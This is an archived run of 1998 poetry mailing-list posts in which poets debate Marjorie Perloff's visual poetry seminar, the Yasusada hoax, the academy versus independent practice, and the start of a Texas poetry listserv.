Sun 25 Jan 1998

That term, 48 pages or less, should really have read no more than 48 pages, or fewer than 48 pages.

Bertha Rogers

↑ Index

787. **KENT JOHNSON**
Gladstone here
Sun 25 Jan 1998

Jordan:

Enjoyed your response.(Seriously folks, and at the risk of seeming obsequious, who has the most delightful prose on the list, JD or DB? It's close.) And Jordan, if I've been invoking your name of late, it's for the most part to feed off the background energy of your ripostes and carry myself forward as best I can. All in jousting spirit.

Long live the Queeen.

For what it's worth, though, since you raised the issue, I wnated to say that Yasusada was not at all written to make this or that point at all. To the extent that the work seems to raise issues, that is a secondary and largely accidental (though still possibly interesting, I think) outcome of a work that happened to take a particular and very idiosyncratic form because that's the form that seemed compelled by the writing, and vice versa and so on. In short, though Yasusda's writing may not have achieved the status of "art," as you say, I don't at all think that writing against the grain of "conventions of authorship" on the one hand and "art" on the other is an either/or thing. Actually, a famous philosopher wrote a beautiful and strange book entitled Either/Or and a number of other ones undr a variety of heteronyms, and he insisted to the end that these cahracters were the real "authors" of his works, that they were a matter of "thought" and "production." And then Existentialism started. And that, of course, would be just one example.

Finally, I wanted to clarify just one thing about my Key Club metaphor. I said something to the effect that in the absence of real _conceptual_ subversiveness and verve, that "the Key Club will always be the Key Club." What I meant is tht the Key Club will always be the Key Club and that Kiwanis will always be Kiwanis, albeit with ever changing faces and names. Those current and earnest members of the Key Club will do many good deeds in the image of their sponsors (whom they love and hate simultaneously) and graduate into Kiwanis, where they will grow successful. respectable, and old, and come to feel smug and superior enough to say mildly condescending things about their own underlings in the Key Club. I meant, in other words, that the deeper dynamics of the poetry institution (with all its local "avant-garde" turbulence) would not fundamentally change. There is a sense, I mean, in which cultural "experiment" reduced to method or style is a "good deed" done, ultimately, in the historical interests of the greater episteme.

Episteme? Well, you know what I mean.

Go Pack Go!

Kent

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788. **KENT JOHNSON**

Re: texas poetry listserv

Sun 25 Jan 1998

On Jan. 25, Tim Wood wrote, inviting people to join theTexas Poetry List:

> *Almost anything to do with poetry in Texas. That might include discussion of poetry technique, event postings, random reviews and so forth. The list is not for attacking individuals, thou. The list is not moderated, but if*

> *you're spotted attacking someone, you'll get warned. If that doesn't work, you'll be unsubscribed and not allowed back. We're pretty easy going, but the list is intended to be a positive force, not a field for ego warfare.*

Dear Tim Wood:

May I suggest you contact Dale Smith, a friend who lives in Austin.

Kent

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789. **Tim Wood**
texas poetry listserv
Sun 25 Jan 1998

Hello all!

We've started the Texas Poetry ListServ. If you're interested in discussing poetry in Texas, read on; there should be plenty of information to get you going. Otherwise, apologies.

Why the list

A lot of interest has been shown in creating a community online for Texas poets. We wanted to create a space where people can discuss their ideas, learn, tell others about their events, review events and hopefully, strengthen poetry in Texas.

What exactly is discussed on the list?

Almost anything to do with poetry in Texas. That might include discussion of poetry technique, event postings, random reviews and so forth. The list is not for attacking individuals, thou. The list is not moderated, but if you're spotted attacking someone, you'll get warned. If that doesn't work, you'll be unsubscribed and not allowed back. We're pretty easy going, but the list is intended to be a positive force, not a field for ego warfare.

What'll happen if you join

You'll be able to send emails to an email address ([redacted]) that will be forwarded to the other subscribers to the list. In return, you'll receive the emails sent in by the other list participants. You'll also occasionally receive notes about changes to how the list operates. They'll be rare, have a subject line beginning with "ADMIN" and will probably be both boring and slightly important.

Subscribing to the list

You can join the discussion by sending an email with the blank subject link and 'subscribe texaspoetry' and you name in the body (leave the subject blank!) to:

[redacted]. If your name is 'John Smith', your subscription email might look somethign like:

To: [redacted]
From: [redacted]
Subject:

---

subscribe texaspoetry John Smith

After you subscribe

After you send in your subscription email, you'll receive an automated response telling you how to unsubscribe. What happens after that is up to you. If you want to participate, send your email to: [redacted].

Subject Ettiquette

In a few cases, you can help the other members of our community by beginning the subject line of your email with a phrase, like EVENT.

Type of Email	Begin your subject ____ line with ___
Emails on events	'EVENT'.
press releases/whatever by major publishers	'COMMERCIAL'
Changes to this FAQ & other adminstrativalia	'ADMIN'

The last one ('ADMIN') should not be used by anyone but the list trolls chewing on the emails you send in.

Ack, What about my most important question?

Feel free, if the FAQ didn't answer a question clearly (or at all) to send quesi-tons directly to: [redacted].

Making suggestions on this FAQ

This FAQ (Frequently Asked Questions) is preliminary and probably always will be. If you've got suggestions, for now please send them to:

[redacted]

Changes to this FAQ

We'll send a note to the list with changes to the faq.

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790. KENT JOHNSON
Re: texas poetry listserv
Sun 25 Jan 1998

On Jan. 25, Tim Wood replied to a question by Miekal And:

> *what I wanna know is is Jack Spandrift a texas poet, or does he just talk that way?!*
>
> *I don't the answer to that. Although, many poets who live in Texas don't speak like Ross Perot unless they're trying to tweak people who ask 'does he just talk that way' or say 'isn't that so cute'. <grin>*
>
> *One of the more interesting facets of poetry in Texas, is that a significant number of the poets are not native to Texas or the region. But, as often as not, they've lived here as long as anywhere else. This raises interesting questions on identity, geography and culture. Even for those who are native to this region, the mix of major cultural influences, the state's different geographical regions, not to mention the international border and the state's history as a former independent nation, create some really interesting questions in regard to identity.*
>
> *At the same time, just as one's personal life doesn't define one's poetry, I don't believe identity, culture, geography, etc., determine one's poetry. I still have memories of professors who felt that so-and-so's horrible life, bad teeth, heritage explains all their work. I believe that falls in the category of 'people who don't get it'. Both experience and identity are much better used as the starting point for other issues.*
>
> *Tim Wood*

Well said, Tim. Maybe you've been around these parts already before, but if not, why welcome to the Poetics list! New names always bring a breath of fresh air! And do we need a breath around here of fresh air!

Kent

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791. Bob Grumman
Re: the Perloff Seminar
Sun 25 Jan 1998

Joel:

I feel that my mock syllabus says most of what I want to say on this subject. If you didn't realize that my "canon" was intended to be "pretty much unrecognizable" to anyone who knows language poetry, I don't know what further I can do for you. The people I named (as a representative group, not a canon) are to

language poetry what the people invited to give readings for Perloff's seminar are to visual poetry.

As for my addressing my attacks to the New Yorker instead of Perloff, if the New Yorker had published a piece on the state of visual poetry in America that overlooked as much of the scene as Perloff's seminar does, I would have attacked it. But I recognize the New Yorker as being in a field too far away from what I'm interested to count for much. Perloff is a different story, which is a big compliment to her, I'm sure.

Otherwise, Joel, although I found your letter entertaining, it was really too dipsy-doodle for me to try to respond to in any further detail here.
--Bob G.

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792. **Tim Wood**
Re: texas poetry listserv
Sun 25 Jan 1998

> *what I wanna know is is Jack Spandrift a texas poet, or does he just talk that way?!*

I don't the answer to that. Although, many poets who live in Texas don't speak like Ross Perot unless they're trying to tweak people who ask 'does he just talk that way' or say 'isn't that so cute'. <grin>

One of the more interesting facets of poetry in Texas, is that a significant number of the poets are not native to Texas or the region. But, as often as not, they've lived here as long as anywhere else. This raises interesting questions on identity, geography and culture. Even for those who are native to this region, the mix of major cultural influences, the state's different geographical regions, not to mention the international border and the state's history as a former independent nation, create some really interesting questions in regard to identity.

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Tim Wood

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793. **robert drake**

Re: noise channel surf boy stink bomb

Sun 25 Jan 1998

---

folks--

it really is quite unfortunate that the discussion around VizPo has deteriorated to "bob g.'s crowd" (how'd you get ownership, bob? homesteaded it, did ya?) vs drs perloff & bernstein. i think there are real issues here, but propriatary claimstaking is hardly th point...

i've had some sympathy w/ bob's initial criticism, or what i took as it's subtext: that mp's visual poetry seminar, as reflected in her syllabus, has an unstated bias towards a particular aesthetic and/or a community of poets, to wit the LangPo "school". i myself have nothing against partisanship, and it's an obvious contradition for bob to criticize mp's biases only to lobby for biases ov his own... but it's not amiss to point out hidden agendas, and to offer correctives.

by way of data, and in ref to th syllabus in question: surveying the required & recommended reading list of single-author contemporary titles: fifteen authors; 4 of whom appear in _in the american tree_, 3 in _the l=a=n=g=u=a=g=e book_, 3 in _the art of practice_, and 4 in _from the other side of the century_. insofar as these anthologies might serve as mappings of some "moment or movement", it seems that a large percentage of the emphasised readings are taken from a constrained corpus ov material...

(i'll point out, as an aside, that in almost none of the anthologized work from this moment/movement is the visual component significant enough to merit reproduction in the original graphic format--which suggests either that th visual work by these poets is not considered by their editor/peers to be important, or that the visual component is not central to th aesthetic...).

the anthologies, supplemental readings, and websites certainly go far to balance the picture... (and i'll add another reference for those interested: David W. Seaman's _Concrete Poetry in France_ (ann arbor: umi reasearch press, 1981)). still, both the primary & secondary sources seem largely restricted to university/scholarly sources [what did you expect, bob?]. but there are whole cultures and communities of visual poetry that (i believe conciously) position themselves outside the cultural apparatus of the acadamy--they are nonetheless deserving of attention, especially in the context of a seminar which seems strive for inclusiveness. bob's pointed to some of those sources already, & i'll enlarge: Score, Kaldron, Light & Dust, Xexoxial Endarchy, Luna Bisonte, Generator Press, dbqp, curvd H&z, Red Lines, Ninth St. Labs, Runaway Spoon... anyone who is interested in Visual Poetry really owes it to themselves to check out some of these publishers' offerings.

lbd

↑ Index

794. robert drake
news that stays news...
Sun 25 Jan 1998

The Ballad of Sexual Obsession

1
There goes a man who's won his spurs in battle
The butcher, he. And all the others, cattle.
The cocky sod! No decent place lets him in.
Who does him down, that's done the lot? The women.
Want it or not, he can't ignore that call.
Sexual obsession has him its thrall.

He doesn't read the Bible. He sniggers at the law.
Sets out to be an utter egoist
And knows a woman's skirts are what he must resist
So when a woman calls he locks his door.
So far, so good, but what's the future brewing?
As soon as night falls he'll be up and doing.

2
Thus many a man watched men die in confusion:
A mighty genius, stuck on prostitution!
The watchers claimed their urges were exhausted
But when they died who paid the funeral? Whores did.
Want it or not, they can't ignore that call.
Sexual obsession has them in its thrall.

Some fall back on the Bible. Some set out to change the law.
Some turn to Christ. Others turn anarchist.
At lunch you pick the best wine on the list
Then meditate till half past four.
At tea: what high ideals you are pursuing!
Then soon as night falls you'll be up and doing.

- Bertolt Brecht
[Translated by Ralph Manheim and John Willett]

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795. **Tim Wood**
Re: texas poetry listserv
Sun 25 Jan 1998

> *Well said, Tim. Maybe you've been around these parts already before, but if not, why welcome to the Poetics list! New names always bring a breath of fresh air! And do we need a breath around here of fresh air!*

Kent,

Thanks for the welcome. I've mostly been lurking for quite some time. I try and limit my comments to those where I feel like I've got something to add. Between the speed of the posts, my busy schedule and the brain power floating in and out of this list, that's a rarity.

Tim

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796. **Bob Grumman**
Re: noise channel surf boy stink bomb
Sun 25 Jan 1998

A brief response to what Luigi-Bob just posted:

(1) I've been using "'my crowd'"--always in quotation marks--merely quickly to refer to the people in visual poetry to whom I believe Perloff has paid insufficient attention.

(2) I've taken pains to emphasize that I have no problem with any poetry group's being boosted, and I have never hinted that I want "my crowd" (here we are again) promoted INSTEAD of anyone else (except a few I feel need no extra promotion). ALONG WITH everyone else has always been what I've called for.

Otherwise, nice post, L-B.

--Bob G.

↑ Index

797. **Steve Evans**
Re: news that stays news...
Sun 25 Jan 1998

If it is true that the gift of a volume of Whitman helps shatter the presidency, the *poetry makes nothing happen* crowd has some explaining to do. Me, I keep thinking of a line Kevin Davies published a few years ago in *Thunk* (Situations, 1995): "Clinton licks tender inner thigh of corporate crud agenda."

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798. **RaeA100900**
Gone for awhile...
Sun 25 Jan 1998

Dear List Members,

My monitor seems to be dying, so, I imagine I will be unreachable by e mail for awhile. Those who need to reach me will need to try the old fashioned way. I'll post to the List again when the problem is resolved.

Rae Armantrout

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799. **Steven Marks**
citation help
Sun 25 Jan 1998

Listfolks:

Does anybody know where I can find information about when a review by Richard Silberg on Anne Carson appeared in Poetry Flash. Online sources? Silberg's e-mail?

Thanks in advance.
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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800. **Jack Spandrift**
Re: texas poetry listserv
Sun 25 Jan 1998

> *what I wanna know is is Jack Spandrift a texas poet, or does he just talk that way?!*

Think I answered this query in a previous post. Let me repeat: I was born in North Carolina, have lived peacefully under a pseudonym for several years in Brainerd, MN, and am wanted in seven states, including Texas. Coupla Rangers almost got me once outside Fort Worth, but they were a tad slow on the draw. - Jack Spandrift

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801. **Harold Rhenisch**
Re: the Perloff Seminar
Sun 25 Jan 1998

Bob,

to your responses, including

>>I've taken pains to emphasize that I have no problem with any poetry group's being boosted, and I have never hinted that I want "my crowd" (here we are again) promoted INSTEAD of anyone else (except a few I feel need no extra promotion). ALONG WITH everyone else has always been what I've called for.<<

you have my support, and puzzlement, too.

Your passion leaves me enthused, but all this talk about Perloff's adequate or inadequate course on visual poetry leaves me puzzled. Why does it matter what she teaches? Visual poetry is not alone in this morass of misdefinition. Every facet of current poetry is misdefined and misdelineated. The whole field is a mess. If we are to make real progress it will come through Miekel's attitude of working outside the academy, and through a total redefinition of what is taught in the academy. Language/visual poets and mainstream/lyrical poets often regard each other with dismissal and suspicion. I think we need new terms of reference, which will show common ground, wiping clear indulgence and confessional bilge on both 'sides'.

I have faith that you are trying to ensure that visual poetry is not misdefined, but I ask again, why does it matter what Perloff teaches? It must only matter if she is the agent of change. I don't think she is, in the sense you mean. The university environment is basically a conservative one, of sifting, of maintaining, of drawing or breaking patterns. With few exceptions, it is not a revolutionary one of seeking out the new. I don't mean this as a criticism.

Perloff's contribution might be to build some sort of vision of where things are going, in which she is able to touch upon some forms of visual poetry. That this grand vision does not touch upon the work vital to you might not be Perloff's problem. It's yours, it's ours, and it's an important problem, but to deal with it it's time to move beyond Perloff. In your context, I have trouble seeing how she is important. Because of her influence? Because there is no alternative, although there should be?

If, as I suspect, you see the humanities as a faculty akin to, say, molecular biology, working on the cutting edge of the new, obsolete tomorrow but built upon day by day, that is perhaps where you should begin, not by attacking Perloff. If

Perloff, as an elite representative of a conservative institution in a conservative state, wishes to write from within her metaphor, and if, as I see it, you stand outside that metaphor, I humbly suggest that you might get farther by redefining Perloff's role, rather than by redefining her course. The course is small change.

I'd be interested in your thoughts.

cheers,

Harold
[redacted]

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802. **henry**
Re: the Perloff Seminar
Sun 25 Jan 1998

On Sun, 25 Jan 1998 13:57:16 -0800 Harold Rhenisch said:
>
>If, as I suspect, you see the humanities as a faculty akin to, say,
>molecular biology, working on the cutting edge of the new, obsolete
>tomorrow but built upon day by day, that is perhaps where you should begin,
>not by attacking Perloff. If Perloff, as an elite representative of a
>conservative institution in a conservative state, wishes to write from
>within her metaphor, and if, as I see it, you stand outside that metaphor,
>I humbly suggest that you might get farther by redefining Perloff's role,
>rather than by redefining her course. The course is small change.

This paragraph echoes with a roomful of echoes. "Poetry" (discipline) compared with "biology". The cutting edge of biology is the cloning of human beings as objects of scientific curiosity & ambition. I suppose that's what they deserve considering what they're doing to the oceans, rainforests, and "tribal peoples". Academia fully $$$upportive. But academia needs art, like evrybody needs style (Lewis Lapham says literature is now a mode of interior decorating). So we'll keep the remnants alive on the fringes. At least Perloff recognizes change as something invigorating rather than dangerous. & we love her for that, out here in snowbound Buffalo, where the rust belt instills us with memory & resistance. & Grumman is grubbin' along very hard in the same survival-instinct tunnel. - Henry Gould, in Providence

p.s. maybe we could market a line of Perloff Poetry Pups - cute little cloned animals with avant-garde vizhionariesque squatrains attached to their furry gonads...

↑ Index

803. **Tim Wood**
Re: the Perloff Seminar
Sun 25 Jan 1998

> *literature is now a mode of interior decorating). So we'll keep the remnants alive on the fringes. At least Perloff recognizes change as something invigorating rather than dangerous. & we love her for that, out here in snowbound Buffalo, where the rust belt instills us with memory & resistance.*

Poetry (and art in general) would be much poorer places (sic, yes) without the elements of resistance (political and otherwise) or memory. I'm more than happy to leave the pursuit of assimilation and forgetfulness to the marketing types.

> *p.s. maybe we could market a line of Perloff Poetry Pups - cute little cloned animals with avant-garde vizhionariesque squatrains attached to their furry gonads...*

You are truly sick Henry... or is that schizoid
<grin>

Tim Wood

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804. **Carl Lynden Peters**
Re: the Perloff Seminar
Sun 25 Jan 1998

> *misdefinition. Every facet of current poetry is misdefined and misdelineated. The whole field is a mess. If we are to make real progress it will come through Miekel's attitude of working outside the academy, and through a total redefinition of what is taught in the academy.*

i disagree. abt working outside of the academy. i am a 3rd year Ph.D student in English lit. bill bissett is doing a reading here tomorrow and i just spent all day mounting a show of his stuff based on reproductions and library books. i did this in an office space that's reserved for retired faculty - i did this "inside" the university, in a department where i'm pretty much considered an "outsider." i teach visual poetry and concrete poetry and performance poetry and collaboratiove poetry in courses on medieval lit., in courses on modern drama, even in "poetry" courses. i'm told i am - and that my approach is - "unconventional," "unorthodox." that's just silly and it's, well . . . my point: there are a lot of us working inside the institution. bill bissett knew early on he wasn't one of those. he is a brave spirit outside. so maybe i am a brave spirit inside. but i wonder how many students, first year & last year, graduate and faculty, will pass by the _bill bissett Magik Room_ tomorrow - on their way downstairs to hear him read - and i wonder how many might just stop in, sign th guest book, look around,

feel transformed by what you can do with words. this will happen inside. to tell th truth - i dont even know if there even is an inside or an outside. and th word "progress" really makes me nervous, but that's another issue for later

carl

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805. Harold Rhenisch
Re: the Perloff Seminar
Sun 25 Jan 1998

Carl Lynden Peters took objection to

> If we are to make real progress
> it will come through Miekel's attitude of working outside the academy, and
> through a total redefinition of what is taught in the academy.

and wrote

>>and th word
"progress" really makes me nervous, but that's another issue for later<<

Carl, progress towards redefinition and renewal only.

I envy you Bissett and his magik room. Keep up the good work. Just a question: having Bissett at SFU, does this change or break down the boundaries set up between schools of poetry? Or does it put Visual poetry within that set of boundaries? Both are valid. I just want to see more of the former, that's all.

Now, Henry, to your

>>p.s. maybe we could market a line of Perloff Poetry Pups - cute little cloned animals with avant-garde vizhionariesque squatrains attached to their furry gonads...curiously<<

You betcha! We could stuff the fuzzy little guys with shredded copies of Leaves of Grass. There might just be some copies already shreaded in Washington that we could get cheap. Of course, the seams might be poorly done, and these little scraps of Whitman might come leaking through.

Geez, cloning though. Whew. I thought most poetry was already cloned.

cheers,

Harold Rhenisch
[redacted]

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806. **George Bowering**
Re: Whitman and presidents
Sun 25 Jan 1998

> *If it is true that the gift of a volume of Whitman helps shatter the presidency, the *poetry makes nothing happen* crowd has some explaining to do. Me, I keep thinking of a line Kevin Davies published a few years ago in *Thunk* (Situations, 1995): "Clinton licks tender inner thigh of corporate crud agenda."*

I can hear Clinton in his southern drawl y'awl now, reciting :

"Lie lax in the door yard, honey."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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807. **Beth Joselow**
Re: POETICS Digest - 22 Jan 1998 to 23 Jan 1998
Sun 25 Jan 1998

Bravo to Don Byrd. Here's to the poetry of urgency.

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808. **Mark Prejsnar**
interpret not!
Mon 26 Jan 1998

This is just basically a few words about Joe Safdie's interesting and thoughtful post...It was predicated on a too-impoverished sense of poetry is doing as an art-activity...The idea that poetry is primarily about paraphraseable "meaning"...Thus the emphasis on "how easy a poem is to interpret", the archaic references to 7 types of etc. etc.

Interesting that right now several exceptionally detailed and substantive threads are going on...Henry and Joe S. and others attacking their idea of langpo while Bob G. and others attack Perloff et al. in the name of vispo. One fascinating aspect of this is, that although both vispo and commonsensepo partisans feel they are attacking a threateningly hegemonic Language camp, they are surely in great tension toward *each other* also...Much of the quite

fascinating vispo work I see these days, would certainly offend against Joe's commonsensepo standards!

Mark P.
@lanta

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809. **Dale M Smith**
Re: scoured grapes
Mon 26 Jan 1998

I always knew it was about a display of reverence...

Cheek wrote:
you put the book between you knees, kneel and clap
should leave the mouth free

To: [redacted]

yes dale there *is* a right way to read everything

you put the book between you knees, kneel and clap

should leave the mouth free

↑ Index

810. **Mark Prejsnar**
Hurrahpo
Mon 26 Jan 1998

I think that's a useful and really absorbing (cf. CB) post there, Kent...

Seriously (more or less) I'm glad you made your argument so clearly...Including quoting what I thought was maybe the most interesting and pointed passage in the Doubled Flowering interview...

It would now appear that there are at least four whirling clusters of atoms currently multiloging here,

langpo
vizpo
commonsensepo
yasusadapo (violent dispersal of the institutionally-constituted author)

The list is becoming very dynamic these days..Certainly no longer what the Brits called "pofaced." As we say down south, po' boys all around!

...On a more somber note, I'd like to encourage everyone to get a hold of Doubled Flowering. One of the most compelling and challenging and *fun* pieces

of poetic imagination since Ossian. (It's now out from Roof Books) I really don't think anyone will want to miss it...At the very least maybe (like the two alien races in Hitchhiker's Guide to the Galaxy) we can "settle our few remaining differences" and unite to turn on Kent and rend him to pieces! Nothing like a common Araki, er, enemy, right?

Mark P.
@lanta

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811. Susan Wheeler
Hiatus
Mon 26 Jan 1998

I'm leaving all this stellar thinking and asserting for a spell, folks -- thanks, & read you again c. Easter. Still on-line should anyone need to reach me at the is.nyu.edu address.

Susan Wheeler
[redacted]
voice/fax [redacted]

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812. William R. Howe
vizzzipo schtuff
Mon 26 Jan 1998

joel new quite well that i was working sat from dawn til late and used his oportunity wisely indeed and now i find myself in the possition of needing to respond to many voices instead of just one or two. ill start with saying something about charles seminar as apposed to marjories. cbs day at the beach was meant to be just that and the day was made up of texts that were commonly available or otherwise easily placed on reserve at the graduate library pointing out that many more possibilities were available for perusal at the poetry room (with the special help of m. basinski) this was only ment to be an intro a feeler a taste to bring people back a dealers freebee. mp's seminar is a complete corpus of study and as a consequence it represents an ostensibly organic whole purporting to give an overview of an entire field of production when really what is at stake is a form of political justifacation for the importance of a group of poets whom she has championed for a long time (and i might add i see nothing wrong with her championing of language writing-my poetics would not be possible in its form now without a marxist critic of the materiality and economy of meaning and language) and which has little to do with practicing visual poets here on this continent. Now having said that i think i should say somthing to several peoples

critic of why does this all matter well marjories seminar at s is an important place for forming the ideas and opines of not only her students but her students students. even though this might seem like an extremely paranoid and possibly provincial attitude the fact remains that mp is a loud and lasting critical voice and she has been responsible at least in part for the acceptence of experimental writing in a less than enthused accademic crowd. so what she says and what she teaches and what she does have a bearing on poetics as an endeavor however any of us may feel (her books are published in large quantities and are some of the only books on poetics dealing with experiment widely available and accessible to most readers)insofaras we percieve poetics as a negotiation among practitioners and thinkers (not to say that these are mutually exclusive).

now the next thing i think i should respond to again stems from joels exemplifying druckers the visible word as a means of engaging visual poetry. and ill admit that taken on its title alone the book seems to be the perfect companion for visual poetry. my problem with this work is not so much as with what it deals with but what it implies for the rest of practitioners. drucker is quite understandably concerned with the conception and production of type. type as object, type as form, type as visual florition. and as a consequence her book is concerned with the evolution of type and the production of art with type. she sees the page still as a jamsian window to narrative to action to theatre and relates the visual to the world of the stage. not as a visual medium in and of itself. she says of marinettis work of the late teens (were he began to use distorted typographic elements) "the typographic elements were no longer incidentally visual, but fully visual . . . the voyeuristic emphasis positions the reader to _look_ into the situation . . .the visual distribution of linguistic elements, into a violent field of revery . . . provided them with a signifying value." langauge here is still meaningful in a 19th century kind of way. there are truths of both a linguistic and visual nature. in and of itself there is nothing wrong with this reading of this text (or as a corolative of druckers reading of most of her examples) but what is missing is an appriciation and a reading of text as non-linguistic visual representation. drucker approaches this with a narrative of "at night, in her bed" but fails to see the letters as shape as dream/sex itself. the visible word is a wonderful book on typography and the uses of typography in futurist and surrealist texts but it does nothing in terms of visual collage poetry (two contemporary practitioners are wendy kramer and kapulani [just off the top of my 6 in the morning head]) non-linguistic visual poetry (cristian boks crystalography or pointedly featured on the cover of mps book radical artifice steve mccafferys carnival secondpanel) non- linguistic visual poetry ([many of which perform these non-linguistic texts verbally] lots o folks aka bob cobbing paula claire ulli freer allison knowles chris cheek lawrence upton john bennet mike basinski john byrum etc) or sculptoral poetry (gary indiana ihf allen kaprow john furnival

etc). so terming the visible word a book on visual poetry is absurd in more ways than one. druckers work surveys typography not visual use of language.

bil
l

h
o
w
e

↑ Index

813. Mark Prejsnar
art built on political critique
Mon 26 Jan 1998

Henry,
there is no such thing as "art built on political critique," though there
is poetry that is aware of its political character.

All poetry is political.

You may believe that there is poetry which is not political..."but it ain't necessarily so."

Mark P
@lanta

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814. Dale M Smith
Hey Katy
Mon 26 Jan 1998

I wanted to reply to you and somehow lost your post. I remember a long Barthes quote ending in a question, to me, about a contract between writer and reader. My response:

Contact not Contract.

Re: Moxley's book preface, she writes: "Even the love poem agitates the beloved to fall in love with the poet." Now that's the kind of excitement I have in mind for poetry. The writer should give enough to move thought and feeling through someone else. Instead of vain postures and formal orthodoxy, do what it takes to connect to something outside of the self. Arrogant readerly demands might work in Leisure Land (picture musical notation around those words) but most people arent' the least bit interested. It's funny that novels still sell well,

and that audiences attend the theater but poetry more than ever is an isolated art. Maybe there's something for us to learn?

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815. **henry**
Re: art built on political critique
Mon 26 Jan 1998

On Mon, 26 Jan 1998 10:00:59 -0500 Mark Prejsnar said:
>Henry,
>there is no such thing as "art built on political critique," though there
>*is* poetry that is aware of its political character.
>
>All poetry is political.
>
>You may believe that there is poetry which is not political..."but it
>ain't necessarily so."

Mark, I think the list has been around this vague corral before. But I never said poetry wasn't political. Fact in earlier post I said politics was at the heart of poetry. What I was saying was: there is something called "poetry", and it's not a reflection, translation, secondary phenomenon based on "thinking", philosophy, political standpoint, etc. & I said, in other words, that I thought the approach to poetry laid out in PhillyTalks #3 seemed too close to such a secondary phenomenon. i.e. "the state of the world is like this (socio-politically speaking) so poetry will do this", etc. It seems too rationalistic & ignores what I see as poetry's sort of constant, perennial attributes & functions.

p.s. also, your brief list of streams (langpo, commonsensepo, vizpo, etc.) doesn't seem to contain the specific "crystal" I was spouting about: an uncommonsensepo that is a visual-verbal-textual gesture spinning out of control.

- Henry the Virtual Blabologist

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816. **Maria Damon**
Re: Wieners as PerfPo
Mon 26 Jan 1998

---

at the queer beats symposium lo these 2+ years ago, bruce boone gave a haunting talk about wieners's performances and their transcendent abjection. kevin k, any idea if this essay is in print form yet, or if there are plans for it to be? --md

At 11:11 PM -0500 1/24/98, Nuyopoman wrote:
><< Wieners's BEHIND THE STATE
>CAPITOL, published mid-70s (the writing itself, I think, covering several
>earlier years, possibly back into the 60s), though filled with richly sonorous
>poetry, is also filled with non-verbalizable ("purely" visual) experiments
>with
>typography--not to mention lots of collaged things from newspapers, maga-
zines,
>& Wieners's own photos.>>
>
>Saw (heard?) Cecilia Vicuna the other night at "World of Poetry" series
>(Tuesdays at Biblios, NYC, thru Feb), and was rebounded to a Wieners read-
ing
>at the Church, must've been in 75? 76? CV was doing something I hadn't
heard
>since that reading (the pews were still there; this was before the fire) --
>she read poems in a continuum, with whispered obliggatti and trilled
>repetitions as she moved forward and back among the poems to construct the
>evening's ritual.
>
>JW's was hardly a ritual. More like voicing all transmission waves as they
>passed through his body. These were the "non-verbalizable" elements of
BEHIND
>THE STATE CAPITOL, verbalized.
>
>Just as Artaud's "No More Masterpieces!" dictum made his "non-performable"
>"masterpiece/nonmasterpiece" "Jet of Blood" a required piece for all Poets
>Theaters, the so-called non-verbalizable just set the perf-po's lips
>aquivering, ready to go at it. I've been eyeing "The Liberties" for a while
>now, and "Shadow Train."
>
>Bob Holman

↑ Index

817. Maria Damon
Re: the Perloff Seminar
Mon 26 Jan 1998

---

rhenish writes, among other things:
If we are to make real progress
it will come through Miekel's attitude of working outside the academy, and
through a total redefinition of what is taught in the academy.

as someone who works "within" the academy to change it, i agree but with some caveats. for those who feel they can live outside systems, my hat's off to you; but i myself can't take the stress, want health insurance, don't want to be 65 without means of self-support and no relief in sight...there's gotta be room for those of us who don't have the energy to do battle with the daily necessities AND flourish creatively. watching what miekal and lyx have to go through --in some ways its a fabulous life, growing your own food, owning your own means of production, and yes if the stock market crashed you'd survive better than any of us who are investing in our "retirement plans" here at Moo U...in many ways i find life outside the system fabulously seductive and non-alienated etc, but i personally, and many like me, don't have the personal fortitude or inclination to do so, tho we can still play a useful role in effecting change. for me, the academy was the path of least resistance, so i took it; it seems to afford me the most leftover energy to do fun stuff. i have my own differences --mostly political -- with m perloff, as she knows, and to an extent we've agreed to disagree. and i don't see anything wrong with bob grumman's wanting recognition; that's part of being a person in society. i guess i don't have a unified point here, but i wanted to bring some more terms into the discussion beyond inside/outside systems or "grumman's being unreasonable v. perloff is being non-representative".

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818. **R M Daley**

Re: Hey Katy

Mon 26 Jan 1998

On Mon, 26 Jan 1998, Dale M Smith wrote:

> I wanted to reply to you and somehow lost your post. I remember a long
> Barthes quote ending in a question, to me, about a contract between
> writer and reader. My response:
>
> Contact not Contract.
>
> Re: Moxley's book preface, she writes: "Even the love poem agitates the
> beloved to fall in love with the poet." Now that's the kind of excitement
> I have in mind for poetry. The writer should give enough to move thought and
> feeling through someone else. Instead of vain postures and formal orthodoxy,
> do what it takes to connect to something outside of the self. Arrogant
> readerly demands might work in Leisure Land (picture musical notation around
> those words) but most people arent' the least bit interested. It's funny
> that novels still sell well, and that audiences attend the theater but poetry

> more than ever is an isolated art. Maybe there's something for us to learn?
>
so dale, you mean theatre, like spice world and titanic? - and novels,
like judith krantz and um, cold mountain, yeah?

this isnt cultural snobbery per se, to be asking for something that asks more of the reader (always, collaborator) than a passive affirmation of usual structures of seeing/doing/thinking/going about one's day (ie, falling in love with oneself/'the poet' - dont know about you, but i never had a 'poet' write love to me, in fact, i'm almost always the only one doing the reading! - go figure)

'writer should give enough to move thought and feeling through ...' - tell me what thought is, what feeling is, how a writer (moxley? dale smith?) puts something down that reaches that ultimate, indefinable, unmarked territory of universal emotion - and i have an mfa program to sell

rd

↑ Index

819. Robert Archambeau
NDR #5/Creeley, Howe, More
Mon 26 Jan 1998

Just a note to say that Notre Dame Review #5 is out, with a new 20-page poem from Robert Creeley, an interview with Susan Howe, some surprising art by Janet Bloch, a Simic poem and more, including the second part of an article on Irish experimental poetry by yours truly (deals with work by Catherine Walsh, Maurice Scully, and Geoffrey Squires). Steve Tomasula of the Electronic Book Review is working on a new web site to accompany the issue which should be up soon at

http://www.nd.edu/~ndr/review.htm

Cheers

R.A.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

"There is no remedy for this "packaging" which has supplanted the old sensations"
    -John Ashbery

↑ Index

820. Joe Amato/Kass Fleisher
Re: the Perloff Seminar
Mon 26 Jan 1998

i think maria's onto something important, and that has to do with respect for (which i suppose implies a knowledge of) other folks' lives...

that is, we tend too often to talk in terms of surfaces, b/c any real intimacy is, well, frightening...

